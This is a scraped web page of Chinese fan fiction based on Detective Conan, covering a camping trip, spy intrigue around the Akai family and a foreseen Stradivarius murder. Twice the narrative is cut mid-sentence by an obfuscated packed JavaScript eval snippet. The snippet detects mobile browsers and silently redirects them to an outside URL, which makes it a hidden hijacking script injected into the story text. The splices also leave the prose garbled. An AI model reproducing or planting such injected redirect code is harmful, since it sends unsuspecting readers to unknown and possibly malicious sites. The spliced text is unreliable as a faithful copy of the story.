“昨天和景光玩水玩疯了,这孩子免疫力不大好。”副驾驶的诸伏英拓笑着接话,语气像在替孩子开脱,可说到“免疫力不大好”时,他的目光还是不由自主地掠向新一腰腹的位置——那里,藏着一道可怕的旧伤。 诸伏景光双手扒着椅背,悄悄探出半个脑袋看着驾驶座上的工藤优作。这是他第一次近距离见到工藤优作——那个只在书店玻璃橱窗前远远看过的名字。现在,那位“未来的大作家”就在离自己不到一米的方向盘后,指节修长,腕骨分明,偶尔打转向灯的动作都带着小说里侦探出场时的从容。 诸伏景光挪到面包车的第二排,疑惑地回头看着有些怏怏的工藤新一。 是因为生病了不开心吗?新一之前明明很喜欢这位小说家的书,还说过“他将来一定会成为享誉世界的推理小说家”这种超高评价的话呢。 而且他们都姓“工藤”,虽说这个姓氏并不罕见……可是新一好像和工藤先生长得有些像诶。 “——景光?景光?” “啊?”诸伏景光回过神,看见工藤新一身体前倾,正拍着他的肩膀。 “你在想什么啊,眼神都直了———刚刚优作先生问我们今晚要不要露宿,景光想住一晚帐蓬试试吗?”工藤新一轻咳两声。 “露宿?”诸伏景光猛地回过神,原本搭在座椅边缘的两只小手一下子抓紧了靠背。那双圆圆的猫眼瞬间亮成了两盏小灯,尾梢轻轻上挑,像只突然听见开罐头的幼猫。 “真的吗!” 孩子的快乐向来带着电流,噼里啪啦地窜过整辆车。副驾驶的诸伏英拓最先被感染,眼角弯出细纹;诸伏加奈抬手掩唇,高明轻轻“噗”了一声;连握着方向盘的工藤优作也从后视镜里递来一个纵容的笑。 可下一秒,他眼里的光又倏地暗了半度。他咬住下唇,小小的眉心蹙起:“可是……新一感冒了。” 工藤新一挑眉,嗓音沙哑却干脆:“想去就行。那,既然大家都想去露营,就麻烦优作先生了!” “好好好。”工藤优作失笑,声音里带着无可奈何的纵容,也掺着被孩子“使唤”的愉快。 诸伏景光又气又高兴,猫眼瞪得圆溜溜,尾梢却带着一点藏不住的雀跃:“新一!” “我真没事。”工藤新一扬声,尾音被咳嗽切成两段,像在证明自己确实只是热伤风,“药也吃了——高明哥可以作证!” 被点名的诸伏高明单手撑在前排座椅靠背上,侧过脸,眼睛弯成无奈的新月,算是默认。 “新一!”景光又喊一声,声音软了半度,像撒娇又像抗议。 “好啦好啦,不逗你了。”工藤新一举起一只便携药盒,塑料盖“咔”地弹开,露出左侧格子里四粒蓝白胶囊,“看,少了两粒,我可有按时吃药。” 诸伏景光的嘴角翘了一下,又很快压回去,眉头还揪着。工藤新一索性把话题轻轻一转:“不是要露营吗?得先跟零君说一声吧?明天你不去公园了,他找不到人会担心的。” 到底还是小孩子,诸伏景光成功地被转移了注意力。工藤新一把他那部翻盖的当代电话递过去,让他给降谷家去电话。 他微不可地叹了口气——景光可比步美、元太他们难哄多了。 诸伏家其余三人似乎对类似情景司空见惯,见工藤新一把景光说通,就都默认了接下来的行程。 这倒是不多见。工藤优作心想。 从刚刚诸伏一家的互动来看,虽然工藤新一对他的养父母及养兄仍保有距离感,但他却并没有通常养子的通病——自卑。 这孩子相当自信、内心充实,无论什么决定都坚决、果断,甚至在收养家庭中仍握有自身主动权——抛开诸伏家良好和谐的氛围不谈,这一点真的引人深思。 九岁的孩子,真的有可能在被收养不到一个月时就能做到如此吗? 匡论这个背景成谜的“失忆”孤儿,在短短三个月之内经历了绑架、谋杀、银行抢案,竟然丝毫阴霾也看不出,甚至在警方和证人口中,那男孩几乎一直是一种近乎可怕的游刃有余。 老练、成熟、英勇,这些词放在某些中年人身上都略显夸张,可用来形容工藤新一,竟然毫不违和。 工藤优作对福尔摩斯并不十分痴迷,但他也认同那句著名的语录。 “去除掉一切不可能的因素,剩下的结论即使再不可思议,也一定会是真相。” 工藤新一的真相,又会是一个怎样离奇的结论? 时至正午,他们才到达东京郊区。 露营区也是片老地方——二十年后的堂本音乐厅就选址于这片郊区。而现在,那片空地只有大片的青草与零星的白桦。风掠过,草浪起伏,带着烘烘土腥味。工藤优作领着五人去找合适的位置搭帐蓬。 然而帐篷不是那么好搭的。工藤优作额头已沁出一层亮汗,攥着说明书,绕着地上那一堆器械团团转;诸伏高明则像研究地图一样研究帐篷杆的编号,嘴里低声念念有词;诸伏英拓举着两根铝杆不知所措;诸伏加奈干脆把包装纸倒过来看,结果更糊涂。 “我来吧——” 论起露营,得益于阿笠博士和少年侦探团,工藤新一算得上得心应手。他卷起袖子,刚迈出半步,便被四只手同时按回折叠椅上。 “坐好。” “感冒病人禁止体力劳动。” “你和景光负责食材。” 于是被制裁的工藤新一只好退回去,从包里拎起一看就是从超市买来的、现成的腌肉和蔬菜,小声嘀咕:“喂喂,只是平常的轻度感冒,这个状态我都可以拆弹破案,要不要这么小题大作啊。” 话音刚落,裤兜里忽然传来“嗡——”的一声短促震动,像一把小锤在骨膜上敲了一下。工藤新一赶紧躲开众人视线,拿起手机看了一眼。屏幕最顶端赫然躺着一封未读邮件——发件人那一栏的字母让他倏地荡开一点笑意。 少年侦探的指尖在屏上轻轻一划。他勾起唇角,低低地“呵”了一声,那声音很轻,却像夜色里终于亮起的信号灯—— “终于来了。” “景光,”他放下手里的烤盘,掏出手绢擦净手上的水汽,“我去一下卫生间。” 话音落下,他已转身,向露营区旁边的广场走去。 广场上人头攒动,各色摊位应接不暇,连空气都带着塑料汽水的甜腻。工藤新一钻进缝隙,肩膀擦过陌生人的胳膊,衣料摩擦发出细碎的沙沙声。几息之间,他整个人就被人群的潮水吞没,连发梢都看不见了。 工藤优作似有所觉,抬头望了一眼,只来得及捕捉到他没入人群的残影。 卫生间隔间的门“咔哒”一声合拢。 他轻按手机侧边开关,屏幕倏地点亮。邮箱里静静地躺着一条简短的未读邮件。 【未读邮件(1)】 “藏头露尾。” 工藤新一盯着那行字,舌尖抵住上颚,忽然轻笑出声。明明是被讽刺,他却感到了一分怀念。 她果然几十年如一日,哪怕己在明“敌”在暗,依然如此辛辣尖锐。 他沉吟片刻,编辑邮件:“身不由己。” 对面立刻回道:“不知所云。” 工藤新一:“齐心涤虑。” “不识时务。” “自讨苦吃。” 最后一行字发出去时,隔间外恰好有人拧开水龙头,水柱砸在陶瓷盆上的声音清脆如落子。工藤新一靠在门板上,后脑勺抵住木质的凉意,拇指无意识地摩挲着手机边缘。他沉浸于和聪明人交锋的快乐中,把邮件上翻到了首条消息——发送时间赫然是昨天晚上、他们在酒店休息的时候。 “Mrs.Red,您知道他们如今为何只能屈居于小诊所吗?” “嘀、嘀、嘀……”他又哼了一次那段不成调的音阶,推开卫生间隔间的门,往回走。 工藤新一没有立刻回帐篷,也没有继续等赤井玛丽的回信。他沿着碎石小径慢慢踱步,鞋底碾过枯枝的脆响被不远处的人声鼎沸吞没。每一步,他都在数自己的心跳。 他越沉得住气,赤井家越什么也查不到,才会更加把他当成一只尚未露出底牌的“黑桃A”,而不是锋芒毕露的“敌人”或者无足轻重的骗子。他把双手插进外套口袋,指关节抵着手机冰凉的金属边缘,像抵着一柄尚未出鞘的匕首。 第二,赤井玛丽应该也开始安排人调查宫野夫妇被科学界排挤的事了。虽然朗姆做得很干净,但事情才过去半年,着重去查也能找出蛛丝马迹。赤井玛丽一旦派人盯上这条线,MI6的探照灯就会从他身上移开半寸,转而照向更深的海沟。 等到那个时候,赤井家的两位MI6必然会主动联系他,由此,他与MI6间的势力悬殊问题就会被信息差弥补,工藤新一也就获得了这场合作的平等权力,而非他的求援借势。想到这里,工藤新一低头笑了笑。 感谢二十年后的红方合作。他在心里轻声说。若不是那条跨越时间的战线早已铺陈,他此刻手里的手机绝不会被改装成一座微型堡垒——加密芯片层层嵌套,连白宫或唐宁街的保险柜都要自叹不如。无论是谁,都只能对着一团空白频谱干瞪眼。 他转身,脚步比来时更轻快。 棋局已开,他已经做足了攻防,现在该轮到棋盘对面的人头疼了。 “——还是追踪不到,玛丽特工。” 赤井玛丽站在窗边,遥望杯户公园的方向:“另一件事呢?” 行动电话里传来地道的英式英语:“已经派暗哨给东京的线人传消息了,按您的指示,‘不动声色’。” “好。小心行事。”赤井玛丽抬眸,“继续查那个邮箱。” “是!”电话由此挂断。 一只宽厚温暖的大手从旁边揽上她的腰肢,赤井玛丽放松了紧绷的身躯,抬手接过那人另一只手递来的红茶:“你倒是不着急。” “总得有人不紧不慢,就像弓弦一样,你那头紧,我就不能再较着劲。”低沉的男声缓缓道来,像一汪温泉,舒缓着玛丽绷紧的神经。 赤井务武把妻子搂在怀里,语气竟然显得有些委屈:“好好的年假,竟然出了这种事。” “别告诉我你第一天当MI6,五五开先生。” “怎么会,我亲爱的玛丽组长。” “是副组长,赤井务武组长。”赤井玛丽挑眉看他一眼,走到套房的里间门口,推开紧锁的房门,“这两个臭小子还没醒吗?” 赤井务武:“毕竟昨天在电玩城玩得太疯了嘛——你忙着那封邮件的事没看到,秀一的狙击真是有天赋,那儿的狙击枪都简陋得成什么样了,竟然还能打出□□环。” “你想回国后就教他吧。”玛丽又掩上门,“本来说好今天去羽田家拜访,秀吉还期待了那么久,想去见那个将棋天才羽田浩司——只怕是让他空欢喜了。” 身为MI6这种特殊职业,很多时候他们无法兼顾家庭和工作。类似的家庭为工作让道的事发生过不知多少次,但赤井夫妻二人还是每一次都觉得亏欠两个儿子良多。 “还有机会的,玛丽,”赤井务武拍拍她的肩膀,“把事情查清楚就能继续旅行计划了——你对那个神秘邮件怎么看?” “不可小觑。”赤井玛丽立刻进入工作状态,“我和艾莲娜的关系连秀一他们都不知道,我的资料在MI6又是A级加密,这个人为什么会知道?——这是疑点之一。第二是,他为什么能拿到我的邮箱——这个邮箱所使用的电话号码是来日本之后随便买的,他怎么知道这是我的?” “第三,他的ip地址——为什么连我们的精英也破译不了?总之,疑点颇多。” 赤井玛丽翻着与神秘号码的邮件记录,目光钉在“Mrs.Red”和“自讨苦吃”上,眼神微动。 “确实是这样。”赤井务武摸着下巴,“这个人的态度也很耐人寻味——明明就是已经完全掌握了我们的身份,却并没有拿这一点说事,后来跟你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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幸好肉麻环节到此为止。一上午没进食的胃开始造反,众人迅速把注意力转回烤炉。诸伏景光小孩性子也随着炉火被点燃,整个人亮起来:他左手夹子右手剪刀,大厨做得不亦乐乎,忙得连发梢都在跳舞。于是新一和高明默契地让出位置——一个托腮发呆,一个端着空碗等投喂。 一玩起来,景光自己面前的碟子就空得可怜。诸伏高明叹了口气,和新一换了个位置,不动声色地把一块刚烤好的蘑菇塞进弟弟嘴里:“你自己也记得吃啊。” 那边,三位“文字工作者”的话题果然滑向“文学创作的分化”。优作推了推眼镜,像在拆解不在场证明:“……现在类型文学和纯文学的壁垒越来越薄,但读者的期待却越来越垂直……”语文老师诸伏英拓轻轻点头,加奈则托着腮,饶有兴致地追问:“那叙诡呢?工藤先生写推理小说,应该也常常用这种手法吧。” 换座位后、坐在工藤优作旁边的工藤新一一个字也没听进去。他百无聊赖地用火钳拨弄炭块,看火苗忽高忽低,像一群顽皮的精灵在跳踢踏舞。油滴进炭里,“嗤”地窜起一缕白烟。他忽然想起少年侦探团在夏日庙会上烤棉花糖的场景——那时候他也是这样举着铁叉,旁边是吵吵闹闹的步美和元太、光彦。只不过现在,身边的人换成了养父养母、未来的父亲,还有正在偷笑的诸伏景光。 然而他不想参与讨论,工藤优作却不让。他做东的目的本就是工藤新一,见他坐过来,不着痕迹地开始把话题往男孩身上引。他虽然年轻,阅历没有往后那般丰富,但博学多识、思维敏捷,把诸伏夫妻二人的注意力吸引得牢牢的,完全把控着谈话节奏。因此当他主动提起新一时,丝毫不会让人觉得他是在打探“情报”。 只是打听下感兴趣的孩子,算什么刺探情报?工藤优作有点儿无赖地想。 他看着新一拨动炭火,目不转睛,生怕男孩一不小心被烫到,最终还是没忍住,伸手把火钳拿过来,自己替他布火,嘴里状似无意地问:“新一君好像什么都会一点儿,之前在银行的时候……” 工藤新一仅剩的话计也被抢走,正无奈地被迫无所事事,就听工藤优作好像要翻旧账,连忙打断他:“都是在电视和广播里学的啦,优作先生。”他咳嗽两声。 工藤优作挑眉看他:“我是想说新一君对着劫匪也很会撒娇——电视里也教这个?” 你就是故意在搞我吧,老爸。工藤新一半月眼。 “新一君确实很勇敢,”工藤优作把竹筷往碟沿轻轻一搁,抬眼看他,目光掠过炭火,像探灯扫过暗巷,“我和佐藤警官在无线电里听见你主动要求换人质时,心脏差点停拍。” 火舌舔着铁网,啪地爆了个火星,仿佛替众人补了一声心跳。优作慢条斯理:“我几乎想把新一君直接写进下一部小说里面了。” “那就大可不必了,优作先生……”工藤新一听他提起小说就头疼,“那个大姐姐不是哭了嘛,咳,以前有个人跟我说,想当侦探的话,是不可以对任何人的哭泣坐视不理的。” 工藤优作深以为然:“这位先生或是女士对侦探有独到的理解啊……新一君可以为我引荐吗?”他向工藤新一点了点头,看男孩脸上浮现出熟悉的、表示婉拒的微笑,无奈地叹了口气。 其实并没有“表示婉拒”的工藤新一:“……” 行叭。他心想。反正你很快就会遇见她了。 午后的风带着水库的潮气,把烤肉味吹得四散。丰盛的午饭过后,一行人就往附近的广场走去。那里今天办了一场游园会,吃喝玩乐应有尽有。 诸伏景光却不急着走,从妈妈那取来水杯递给工藤新一。 “吃、药。”他点着头说,一字一顿。 工藤新一听话地从牛仔外套里翻出药盒,药盒里的一侧放着四枚蓝白色的感冒药,另一侧则一红一蓝,放着他从原来的药盒里取出的APTX-4869和解药。他迅速取出两颗蓝白色的感冒药塞进嘴里。因为太匆忙,还不小心带出了第三颗感冒药,滚落进旁边的灌木丛中。 工藤新一悄悄看了景光一眼,见他没发现,于是也打定主意不去找——一是想找也找不到,二是少吃一颗是一颗。他其实一直不太喜欢吃药。 太好了,这样晚上就只吃一颗药就好了。工藤新一快乐地收起药盒,拉着诸伏景光去游园会了。 13. 渐快 “——不行。” 赤井玛丽皱眉看着眼前的大儿子:“这不是你们该涉足的领域。” 赤井务武也摇头:“我们不能让你去冒险。这不是去训练场,秀一。” “可是你们现在没有别人可用啊,”十二岁的少年说,“而没人会怀疑小孩子的目的——我和‘艾莲娜’长得并不像,不是吗?” 少年——赤井秀一双手都揣在短帽衫的前兜里,目光沉静地看着父母,但依然藏不住眼角眉梢的跃跃欲试。他的黑发有一点自来卷,额前一缕碎发缀在眉角,衬得少年白皙的皮肤和那双墨绿色的眼瞳越发生动。 “你不需要管这些,秀一,这是妈妈爸爸的工作。” “我总会涉足的,妈妈。从我知道你和爸的工作到底是什么的那天起,我就必将走上这条路。” 赤井玛丽眉间的竖纹更深,像一道被反复描摹的刀痕。她侧过脸:“但不是现在。” “这是特殊情况——我只是去诊所看病的小孩,只是恰好是个喜欢乱翻人家东西的坏男孩。日本没有更合适的特工了。”赤井秀一据理力争。 这话倒确实不错。 MI6在日本部署的特工都各有任务,像棋盘上的卒子,一步错,满盘皆落索;赤井玛丽不确定自己是否已经被那封邮件的主人盯上——那封没有署名、却精准地称呼她为“Mrs. Red”的邮件,像一根看不见的线,勒得她呼吸发紧;赤井务武倒是安全些,可邮件里对玛丽的称呼是“Mrs”,说明对方一定也知晓他的身份信息……所以正如赤井秀一说的那样,最好的人选,的确是他。 房间里沉默下来,只有老式挂钟的钟摆在玻璃罩后寂寞地摆动,哒哒声敲击在每个人的神经上。午间的阳光温柔地蹭着女人的小腿,空气中细小的尘埃缓缓飘摇。 良久,直到卧房里的赤井秀吉都嘟哝着快要醒来,赤井玛丽才放下抱在胸前、已经僵硬的双臂,长叹一口气。 “是‘艾莲娜姨妈’,秀一,‘宫野艾莲娜’,”她把一只手放在儿子头顶揉了揉,“仅此一次。” 资深酷哥赤井秀一躲开妈妈的抚摸,耳根却悄悄红了。他抬手胡乱扒拉了一下额前的碎发,嘴角终于没忍住,翘起一个细小的弧度:“保证完成任务!” 赤井务武站在书柜旁,无奈地摇头。他的目光穿过半掩的窗帘,落在远处灰扑扑的街道上。那位神秘的无名氏,现在大概也在某个角落,悄悄盯着宫野诊所的梢吧。 “啊啾!” “神秘的无名氏”打了个喷嚏。 工藤新一手一抖,塑料枪打出的海绵头子弹偏离目标,落在了货架外。他挑挑眉,也不计较,从众多打枪赢来的展品中挑了个不起眼的鸭舌帽,见其他人也没什么喜欢的,就把余下的战利品都还给了摊位老板。小少年湛蓝的眸子闪亮,单手转着赢来的帽子,一边哼着听不出调的“乐曲”。 工藤优作又不知从哪冒出来,举着工藤新一的灰色牛仔外套,笨拙地要给他穿上。工藤新一都快对这个不大正常的“老爸”麻木了,举起胳膊迅速自己把外套穿好。 要不是因为我是你儿子,你这种表现真的很像变态啊老爸。工藤新一无语地想。 “新一好厉害!赢到超——级多的奖品!”诸伏景光兴奋地看着他,拉着诸伏高明也要玩“打枪”。 工藤优作也附和:“可谓‘百发百中’。” 他抬手推了推墨镜,镜片后的目光却像手术刀一样冷静。新一的握枪姿势标准得近乎僵硬;扣扳机时,指节没有一丝多余的颤动;拿到塑料枪的第一件事就是检查“弹匣”;换靶时身体重心始终保持在随时可以移动的临界点……如果把这些细节抽离年龄,结论几乎呼之欲出—— 受过系统化训练,有持枪经验、甚至可能有实战经验,却还没老练到把动作融进肌肉记忆。 可偏偏,那是个九岁的孩子。 “优作先生?优作先生?” 树影在墨镜上碎成斑驳的光斑。工藤优作回过神,发现袖口被轻轻拽着。工藤新一仰起脸,指尖往人群里一点:“高明哥带景光去那边打靶了,我们也过去吧。” 午后的阳光像融化的黄铜,浇在郊外的石板路上。蝉鸣被游客的喧哗碾得粉碎,热气蒸得人影都微微扭曲。工藤新一牵着小说家温热的手,像条灵活的小鱼,三两下就钻过人群的缝隙。 那摊位前围了一圈人。这里不像新一刚才玩的那种“击落即得”,而是用□□打积分靶——枪靶是电子感应的,按环数计分,攒够了才能换礼物。仿真左轮沉甸甸的,金属件在太阳下泛着冷光,除了后坐力小得几乎可以忽略,其余细节足以以假乱真。 诸伏景光刚打完一轮,靶纸边缘缺了半圈弹孔,像被老鼠啃过的饼干。他鼓起腮帮子,又抓起枪:“这次一定行!” “景光想要哪个?”新一顺着他的视线望去。 展板中层,一枚金色的小挂坠反着光,晃得人眼花。工藤新一没看清那是什么。 “就是那个!”景光用枪管隔空点了点,“我要把它赢下来!” 诸伏夫妻二人和诸伏高明当然没什么不肯的,诸伏景光又拿起了那把仿真左轮。 鬼使神差,工藤新一心念一动,拦住诸伏景光的动作,让他看旁边的狙击枪场。 “那边也可以积分吧,”他说,“我看景光不如试试那个。” 说是枪场,其实也就两个篮球场大。仿真的AWM陈列在那,旁边还有专门的“教练员”——大概是附近音乐学院里出来兼职的学生。 “可以吗?”诸伏景光有些担心。不过没人能拒绝狙击枪的诱惑,他还是难掩兴奋地去了隔壁。 第一次只是试水,自然空手而归;第二次扣动扳机时,诸伏景光像忽然被点醒,不论环数,二十发子弹尽数命中,积分瞬间攒满。 “天才!” 兼职的学生比他本人还兴奋,声音几乎掀翻屋顶:“绝对是天才!” 那当然。工藤新一笑着看景光去柜台兑换礼品——原来奖品是一枚仿梵高笔触的向日葵钥匙扣,金黄得几乎淌出阳光。 果然如降谷先生所言,景光是天赋型狙击手呢。 他的视线又落在那支仿真AWM上,金属冷光晃得人心口发紧。刹那间,脑海中又闪现了决战前那场与降谷零推心置腹的谈话。 金发公安当时在擦狙击枪——正是景光先生最喜欢的那一款——他细致又耐心地拆卸着零件,一边闲聊似的对江户川柯南说:“唔,柯南君——新一君说了好多小秘密呢,那么,作为礼尚往来,要不要听我说点什么?” 江户川柯南帮他递擦布:“好啊,降谷先生。和这把枪有关吗?” “嗯,”降谷零笑了一下,脸上的表情柔软得堪比安室透,“关于一个喜欢用这把枪的人。柯南君……工藤君小时候应该是见过他的,我是指九年前。” “是那张合照里的……”江户川柯南眨眨眼。 库拉索事件、“天鹅”事件和涩谷事件之后,他已经对降谷零那四位同期有了大概的认识,尤其是涩谷之后,江户川柯南偶然窥见了降谷零难愈的伤疤,从此对那四人闭口不谈,生怕触碰到公安的苦痛——哪怕他知道,降谷零从未消沉于过去。 公安先生仔细地擦拭着枪柄,闻言顿了顿:“对,他当然也在那张合照里。你和警视厅关系密切,应该或多或少都知道些——萩原研二,松田阵平和伊达航。” 江户川柯南点点头。 “所以我要讲述的是最后一个人的故事,”降谷零的语气十分平静,“诸伏景光。我一直不肯跟你多谈的人。我和hiro是在九岁时遇见的,那时艾莲娜老师刚‘搬走’不久……” 降谷零轻缓地娓娓道来,江户川柯南听着,竟听出了几分如释重负的叹息。 “他是天生的狙击手,天赋比基安蒂、卡尔瓦多斯他们高了不知多少。当时的组织里,也就琴酒和莱伊能和他一个水平线。”降谷零把那把枪放进枪盒里收好,“虽然跟犯罪分子们比这个是挺掉价的。Hiro他应该也不喜欢在组织里当‘天才狙击手’吧。” 回忆中男人的金发与景光手中的挂饰重合,工藤新一回过神,目光才聚焦了一半,就被诸伏景光——正兴奋于自己狙击天赋的诸伏景光——拉到了枪场边。他神色复杂地叹了口气。 “我不擅长狙击枪的,”工藤新一小声对诸伏景光说,“就不打了。” 这既是事实,也是掩饰。工藤新一确实对这类重型武器敬而远之,仅限于基本操作;但更深层的原因,其实是前世决然的本堂瑛海和瞄准镜中的高木涉。 他倒也不是再无法驾驭狙击枪或冲锋枪,只是每当透过瞄准镜凝视目标时,工藤新一总会不自觉地指尖微颤。虽然不影响射击,但这种如影随形的不适感始终挥之不去——总归是不好受的。 靶场里,诸伏景光正玩得热火朝天,诸伏高明也被弟弟的兴致感染,随手抄起一把手枪,兄弟俩枪口火星四溅,却只图痛快,对奖品毫无兴趣。老板被他们这股“纯射击”的豪气打动,干脆给账单打了对折。 工藤新一却对射击提不起半点兴趣,绕着场地兜了两圈,百无聊赖地晃到附近的小舞台。那儿摆了一架钢琴,显然专为打擂而设。此刻,一个还穿着校服的女孩正炫技般飞指《钟》,李斯特的高难段落在她手下火花四溅。 可新一越听眉心越紧,终于忍不住低声:“钢琴的音……是不是跑了一点?” 工藤优作不知何时已站在他身侧,递来一瓶冰水,语气里带着恰到好处的惊讶:“哦?新一对音乐也有研究?” “一般般啦,就会听听。”新一拧开瓶盖,回答得轻描淡写。 “可你是绝对音感诶,怎么可以这么说!” 工藤新一眨眨眼,转过身去,一个个子高挑、体型瘦削的男人领着一个小男孩走过来。 那男人气质温和、甚至有一点忧郁的气质,此时他站在一个合适的社交距离之外,不好意思地笑笑:“抱歉,犬子贸然插嘴了。” “没关系的。”工藤新一仰脸看着那男人摇摇头。又听他说:“不过,这位小朋友的音乐天赋确实很高啊,怎么能妄自菲薄?” 工藤优作好奇道:“怎么说?” 男人又笑笑:“在下是一名小提琴演奏者,我姓设乐,犬子响辅。这架钢琴的G调do音的确有细微的偏差。如果不是音乐专业的学生,大概只有绝对音感拥有者才能听出来了。” 响辅? 工藤新一感到一丝熟悉感,但模糊不清,于是打开话题,装作不懂的样子:“绝对音感?” “绝对音感就是一种能在没有参照音的情况下,仍能够辨认出由乐器或周围环境发出的音高的能力,是很厉害的能力。”设乐说,“很多学音乐的人最想要的就是这个能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137890|180325||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力。” “我也有绝对音感哦!”响辅挺起小胸脯,眼睛亮得像刚擦过的琴弦。为了证明似的,他侧耳听了听远处射击摊的汽枪“啪”的一声,立刻报出:“是G?5!”又指向天空一只掠过的乌鸦,“它刚才叫的是B3!” “那响辅君真的很厉害呢。” 设乐响辅……绝对音感…… 工藤新一几乎就要想起来了,却听工藤优作忽然感兴趣道:“设乐先生……您是那个音乐世家的一员吗?珍藏了一把斯特拉迪瓦里小提琴的那一家?” 如一道闪电划过,工藤新一茅塞顿开——斯式琴!是那个案子! 怪不得他总觉得设乐响辅这个名字怪怪的,那孩子二十年后早就改了姓,成了一起连环凶杀案的凶手——羽贺响辅。 设乐先生愣了一下,然后点点头:“不才正是设乐弹二郎。” “斯特拉迪瓦里小提琴?安东尼奥·斯特拉迪瓦里制作的琴吗?真的吗?”工藤新一一反刚刚的平淡,像是突然来了兴趣,“您是她的拥有者吗?” 设乐弹二郎愣了一下,然后蹲下来,语气郑重:“是的,我很荣幸能够与她共舞。” “哇——”工藤新一有点夸张地艳羡道,“那……那您最近有没有什么演出……就是,能带着她一起亮相的那种!” 呃,用力有点过猛。他心虚地笑。过于“江户川柯南”了。 好在现在的他外表看上去也只是九岁小孩子的样子,就算夸张些,一般人也不会多想什么。 然而工藤优作当然不是一般人。他还不算特别了解工藤新一,但是基本的认知还是有的——依他看,这孩子现在的狂热和撒娇十有八九是有其他目的的。 “很遗憾,现在并没有类似的安排。”设乐弹二郎摇摇头,“老实说,那把惊艳的小提琴被我借给了我的大哥,今天来这边就是要去取回她呢。” “这样啊——”工藤新一装作遗憾的样子,内心的警铃却忽然拉响。 斯式琴已经借出去了,今晚设乐弹二郎就要去老宅、向他大哥设乐调一郎要回她。但是,如果没有外力干预,想必这次讨要就会如同前世一样,变成一桩令人痛心的血案。 “那,设乐先生可一定要好好地去说哦,”工藤新一目下没有别的办法,只好先以言语提示他,争取能对今晚的事件产生些影响,“毕竟是那么名贵的小提琴,换做是我的话,想必就不想还了呢。” “新一!怎么能这么说。”诸伏英拓微微加重了些语气。 工藤新一从善如流:“对不起嘛。” 设乐弹二郎当然不会介意,他站起身,拍了拍下衣摆:“没事的。” 随后他掏出一张名片,递给工藤新一:“这是我的联系方式,如果有什么音乐上的问题,可以联系我哦,拥有绝对音感的小天才。” 工藤新一黑线——他真的只是、仅仅、恰好有绝对音感而已。对他来说,这是方便破案的,才不是用来学音乐的。 唉。一阵风吹起少年细碎的刘海,吹皱他眼中一汪晴蓝的湖水。 希望他刚刚那几句意有所指的话能起到点作用吧。 “你干什么?” 被质问的绿眸少年一愣,微微挑眉:“我?” 降谷零拍拍衣服上的灰尘,嘟囔着:“我一个人也能让他们吃苦头的,你过来横插一脚,显得我好像怕了他们似的……算了。谢谢。” 赤井秀一觉得有趣——这别扭的道谢,听起来倒是更好玩了。 “我没见过你,你是外国人吗?”降谷零抬头看着这个比他高一些的黑发少年。 少年不答反问:“那你呢?虽然应该是日本人,但是发色却漂亮得与众不同呢。” 降谷零目前最大的逆鳞就是与众不同的的外貌,但他也不是不讲道理的人。面前这个人刚刚还“多管闲事”帮自己赶跑了那些自讨没趣的小屁孩们,再加上他也没有那种玩味歧视的态度…… 于是他点点头,却没注意到仍然微微梗着的脖子:“我是日本人。” “哦,”赤井秀一觉得这小孩还挺幼稚,“如果以名字算的话,其实我也算是个日本人吧。我还有事,先走了。”说罢便离开,去往宫野诊所的方向了。 降谷零看着他的背影,虽然有点讨厌那个男生身上那一股桀骜不驯的气质,但不得不说,刚刚黑发少年人展现出的身手实在是让他眼热。 要是能学到几招就好了。不过,刚刚那几手擒拿,好像也并不太难…… 降谷零回忆着赤井秀一刚刚的动作,生涩地模仿起来。小少年烟紫色的眼睛里盈满了认真,全然沉浸于此,直至夕阳西沉方停。 而他专心模仿的对象,也在此时成功完成了他的任务——拿到了那个奇怪的小盒子。 “APTX-4869?”赤井秀一眯着眼睛看上面的刻字,“好奇怪的名称,是什么实验的编号吗?” 宫野艾莲娜眨着与赤井玛丽、赤井秀一如出一辙的绿色眼眸,摇摇头:“不知道,也许你爸爸妈妈会有些头绪。秀一君,回去的时候一定要小心些。” “我知道了,艾莲娜阿姨。”赤井秀一戴上墨镜和棒球帽,“妈说等这件事结束了,有什么要紧事要和你们商讨。” 宫野艾莲娜点点头,送他到了门口。赤井秀一为求谨慎,换了一条路离开,小心翼翼地完成了他人生中第一次真正的“特工任务”。 14. 急板 暮色四合,炊烟初起。大人们围着篝火张罗晚餐,这才发现中午那一顿几乎把一次性餐具扫荡殆尽。工藤优作第一次组织露营,难免失算,所幸离开饭时间还早,工藤优作就主动请缨,去附近的超市里去买一些回来。 最近的超市恰好在设乐老宅附近,工藤新一眼睛一亮:“等等我,我也去!” 诸伏景光原本正和降谷零打着电话,见状,连忙拿出工藤新一的外套扔给他:“等一下zero——新一别忘了穿外套,你感冒还没好!还有你的感冒药,在外套里吧,别忘了吃。”说罢又拿出一瓶水递给他。 工藤新一无奈耸肩,胡乱掏了两颗药倒进嘴里吞下:“现在就吃啦。” “走了!”工藤优作在驾驶位上招呼他。 少年揣好药盒,连忙拿上外衣小跑过去:“来啦!” “你跟上来,是发现了什么吗?”工藤优作单手搭在方向盘上,侧目望向副驾驶的少年,“设乐家?” 工藤新一慢吞吞地把外套拉链拉到顶,竖起的领口蹭着下颌。他偏头看向窗外飞逝的橘红天色,语气无辜: “我只是想买些吃的而已,你在说什么啊优作先生。” 工藤优作笑笑,眼镜反射了一瞬傍晚路灯的光:“设乐老宅就在这个方向,你先前看见设乐弹二郎的时候,就有来这儿看看的打算了吧。” 最后一缕残阳像燃尽的炭火,从挡风玻璃灌进来,把少年的侧脸镀上一层血色。工藤新一举起右手,用手背挡掉刺眼的光,指缝间漏下的橙红落进他低垂的眼眸,他声音低沉地开口:“啊。只是不死心,很想见一见那把斯氏琴呢。” 